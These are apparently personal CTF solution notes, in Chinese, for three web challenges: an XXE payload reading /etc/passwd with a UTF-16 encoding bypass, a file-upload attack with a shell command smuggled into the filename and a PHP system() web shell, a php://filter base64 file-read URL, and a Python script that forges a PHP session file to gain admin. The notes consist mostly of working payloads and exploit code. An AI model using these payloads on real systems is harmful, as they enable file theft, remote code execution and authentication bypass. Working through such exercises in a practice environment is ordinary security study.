web
[CSAWQual 2019]Web_Unagi
知识点:xxe
<?xml version='1.0'?> <!DOCTYPE users [ <!ENTITY file SYSTEM "file:///etc/passwd">]> <users> <user> <username>&file;</username> <password>upload</password> <name>upload</name> <email>upload@fakesite.com</email> <group>uploadaa</group> </user> <user> <username>uaa</username> <password>uplaoad2</password> <name> upload2</name> <email>upload2@fakesite.com</email> <group>upload22da</group> </user> </users>
|
转换编码绕过!
iconv -f utf8 -t utf16 2.xml>1.xml wget -O "D:\xxx.zip" http://www.xdown.com/xxx.zip
|
https://websec.readthedocs.io/zh/latest/vuln/xxe.html
[N1CTF 2018]eating_cms
知识点:文件包含
POST /upllloadddd.php HTTP/1.1 Host: 2d086a77-7798-4764-978e-9d67e304e141.node4.buuoj.cn:81 Content-Length: 351 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://2d086a77-7798-4764-978e-9d67e304e141.node4.buuoj.cn:81 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryL3i4B1AYHeyRSZRa User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://2d086a77-7798-4764-978e-9d67e304e141.node4.buuoj.cn:81/user.php?page=m4aaannngggeee Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: OUTFOX_SEARCH_USER_ID_NCOO=1935872068.9989924; UM_distinctid=17b0b3c6b83d44-005a7fe99cb475-d7e163f-144000-17b0b3c6b84c1f; PHPSESSID=3cp00ku3lrdc6fibcl00jursp2; Hm_lvt_244ff9d4fa95dcc8d7e59d2dfaf5b2c4=1629196605; Hm_lpvt_244ff9d4fa95dcc8d7e59d2dfaf5b2c4=1629196605; __gads=ID=33fe19caf70dfda2-2256ad34d4ca00a4:T=1629196606:RT=1629196606:S=ALNI_MbYOUTbIEhkHNdH4wwT0r67doOYLw Connection: close
------WebKitFormBoundaryL3i4B1AYHeyRSZRa Content-Disposition: form-data; name="file"; filename="*;cd ..;cat flag_233333;#" Content-Type: image/jpeg
ÂPNG
<?=system('cat /* > /var/www/html/1.txt');?> ------WebKitFormBoundaryL3i4B1AYHeyRSZRa Content-Disposition: form-data; name="submit"
Submit ------WebKitFormBoundaryL3i4B1AYHeyRSZRa--
|
注意一下parse_url的绕过! ssrf里也考过!
https://www.cnblogs.com/Lee-404/p/12826352.html
///user.php?page=pHp://FilTer/convert.base64-encode/resource=m4aaannngggeee
|
[HFCTF2020]BabyUpload
知识点;代码审计
sess文件!是sess_+sessionid!
所以这里我们可以伪造session!
先去知道:session serialize_handler

<?php session_save_path("D:/phpstudy_pro/WWW/"); ini_set('session.serialize_handler', 'php_binary'); session_start();
$_SESSION['username'] ='admin'; ?>
|
hash_file 只要文件内容一样!hash就一样!


sessionid:
432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a41
|
exp
import hashlib from io import BytesIO
import requests import re import os import time proxies = { 'http': '127.0.0.1:8080' }
burp0_url = "http://2987ff1f-a6fe-450e-8fd0-875de6e271cb.node4.buuoj.cn:81/"
def up():
file = { 'up_file': open(r'sess', 'rb'), } data = { 'direction':'upload' }
r = requests.post(url=burp0_url,data=data,files=file,proxies=proxies) print(r.content)
session_id= '432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4' session_id = hashlib.sha256('\x08usernames:5:"admin";'.encode('utf-8')).hexdigest()
def upload_success(): files = { "up_file": ("test", BytesIO('good job!'.encode('utf-8'))) } data = { 'attr':'success.txt', 'direction':'upload' } url = burp0_url r = requests.post(url=url,data=data,files=files)
def exp(): cookies = { 'PHPSESSID': session_id } url = burp0_url s = requests.get(url) r = requests.get(url=url, cookies=cookies) print (r.content[len(s.content):])
exp()
|
思路:
就是下载sess文件!看session_hander 的格式!
然后上传session文件!伪造一下!
再上传succsess文件!over!😖